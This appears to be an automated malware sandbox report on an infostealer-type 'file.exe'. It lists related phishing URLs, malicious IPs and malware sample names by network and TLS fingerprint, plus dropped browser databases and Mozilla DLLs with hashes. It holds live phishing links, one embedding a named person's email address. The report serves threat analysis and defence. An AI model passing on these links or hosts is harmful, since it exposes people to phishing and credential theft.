MICROSOFT-CORP-MSN-AS-BLOCKUS	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	20.50.201.204
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse	40.99.149.210
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Viridium-gruppe shared ''v_iridium-gruppe_441826776_12.11.2024''.msg	Get hash	malicious	Unknown	Browse	52.123.255.64
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	20.190.159.2
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	150.171.28.10
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	150.171.28.10
	https://cx.surveysensum.com/d6xqqwvx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfuKD2Iz98QeQpE-2BkxRR0H-2BqB5cDKklujIJ5FLru7QrAASOSa17vR-2FSCLVAx4lWyy5Q-3D-3DkaP7_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiKUAGjaILaAN0mF43Ydvv3aAXjCPBMrYvHXhqj-2F90M8IWSluK-2FDr0h4-2FIbAXpExZIWOjtRSKBCrpvm-2BHKZd6Q2itOPvvv8Wh8uHJq1rbQgzA8HMkQB3GP7mtgLvWqf-2F2SUC5eKSSwLqPZnnofRHoc7cSU1xfupfl4il6cb3-2BSKrTYe1odI0Jq1F3XJEtoagDhZ-2B0poPJjuweCyekPO2Y39xfy8FdwLLvVUma4NgVhDhlM-3D	Get hash	malicious	Unknown	Browse	52.123.129.14
AMAZON-02US	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	18.245.31.5
	ACHAT DE 2 IMMEUBLES.pdf	Get hash	malicious	Unknown	Browse	18.155.173.98
	linux_x64_agent_no_crypt.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://www.google.com/url?q=https%3A%2F%2Ftrimmer.to%2FPlfGc&sa=D&sntz=1&usg=AOvVaw1DTVuO2H6PM4yLoWCUd_D9	Get hash	malicious	HTMLPhisher	Browse	3.75.10.80
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Order.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	13.225.78.35
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	13.225.78.35
	https://cx.surveysensum.com/d6xqqwvx	Get hash	malicious	HTMLPhisher	Browse	3.5.146.47
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://t.ly/X0-7Q	Get hash	malicious	Unknown	Browse	104.20.6.133
	https://www.google.com/url?q=https%3A%2F%2Ftrimmer.to%2FPlfGc&sa=D&sntz=1&usg=AOvVaw1DTVuO2H6PM4yLoWCUd_D9	Get hash	malicious	HTMLPhisher	Browse	104.21.36.204
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	scan3762399_arleen@wcctxlaw.com.pdf	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://103.227.62.185:83	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	ACHAT DE 2 IMMEUBLES.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	https://t.ly/X0-7Q	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	Daan Berkers Benefits Bonus And Payroll Sign&Review yszlra.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	https://shop.teamtti.store/security/resetpassword.aspx?token=KLO7V1DTDI8XU3KP7GIM4NQLCZKQ9IYSIZTYR9CW4L6KWAXRO9DRJEK74C56QXT4UPP4JW77EWRTQFZBC2BAFHIEPV3PEGFH2CZGV2H2BGMXW1RZN33YVTYNHKPY2S27&mode=new	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	https://account-service.fr/PSTPNL/postal1	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	20.109.210.53 172.202.163.200 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	40.113.110.67
	Daan Berkers Benefits Bonus And Payroll Sign&Review yszlra.pdf	Get hash	malicious	Unknown	Browse	40.113.110.67
	x.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	40.113.110.67
	neworigin.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	40.113.110.67
	https://webconference.protected-forms.com/XaGFyNXNiVFNRd1VaOFBwaER2WW5KM1V1S1NLSzZZZDhjN3NKVC9oV2lCRlNRWmVpbVlYY0JzbS81VUd0czRzOHNRWWNGSndpSCtxMm15d3h6SnFIS0VpR2NHcHh2MWo5Nm1wM3lROHdlakpZdnVWYUpHZDJ2LzVyV1ljWjZuK2pHcTByTjRWRm1IRnpPSnVmUFI0TVk2dHN5L1Yxdko0Y01WeHZYck1iM2tvc3l4YVdqSlZabWl2Y0ZwLzQtLVZvU05jS1M1U0FEQjZZeHUtLUw3WXM4dkFWa2t2YTRLMXJEYTRIbGc9PQ==?cid=2270944670	Get hash	malicious	KnowBe4	Browse	40.113.110.67
	HvOPtSE7cm.dll	Get hash	malicious	ElizaRAT	Browse	40.113.110.67
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67
	9LrEuTWP8s.exe	Get hash	malicious	Meduza Stealer, PureLog Stealer, RedLine, zgRAT	Browse	40.113.110.67
	HAeAec7no3.exe	Get hash	malicious	Meduza Stealer, PureLog Stealer, RedLine, zgRAT	Browse	40.113.110.67
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	Viridium-gruppe shared ''v_iridium-gruppe_441826776_12.11.2024''.msg	Get hash	malicious	Unknown	Browse	104.21.0.123
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	x.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.21.0.123
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.21.0.123
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.0.123
	Booking_0731520.vbe	Get hash	malicious	AgentTesla	Browse	104.21.0.123
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.0.123
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	104.21.0.123
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.0.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEHIDAKECFIEBGDHJEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AECAECFCAAEBFHIEHDGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AECAKECAEGDHIECBGHIIIIEGHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDAFBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675729546965608
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMsSA1LyKOMq+8iP5GDHP/0jMVumb:Kq+n0Js91LyKOMq+8iP5GLP/0C
MD5:	9C151C7735F98C734873A39C51267D2D
SHA1:	BF4728CCB362DADD0B8E7EC8ACDDD8E5DAAFEF56
SHA-256:	D73A1BAF8CFDFED29F900EDC4F2A8DA95205E6464E884D60CD5D18A7C7120673
SHA-512:	44B304616CD472CE107FE3757EBC5FA81A8F4AFC01EE72F132C365E204C839D655A959492472167BD79BEF91E56DB5B29F90BB7F670ABC3C50526D1B20089FE5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHIEHJEBAAFIDHJEBGIEBFIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEGHJEGHJKFIEBFHJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKECFCFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0444cdac-22e7-4ae6-bae4-b59022fdfce5.tmp

Download File

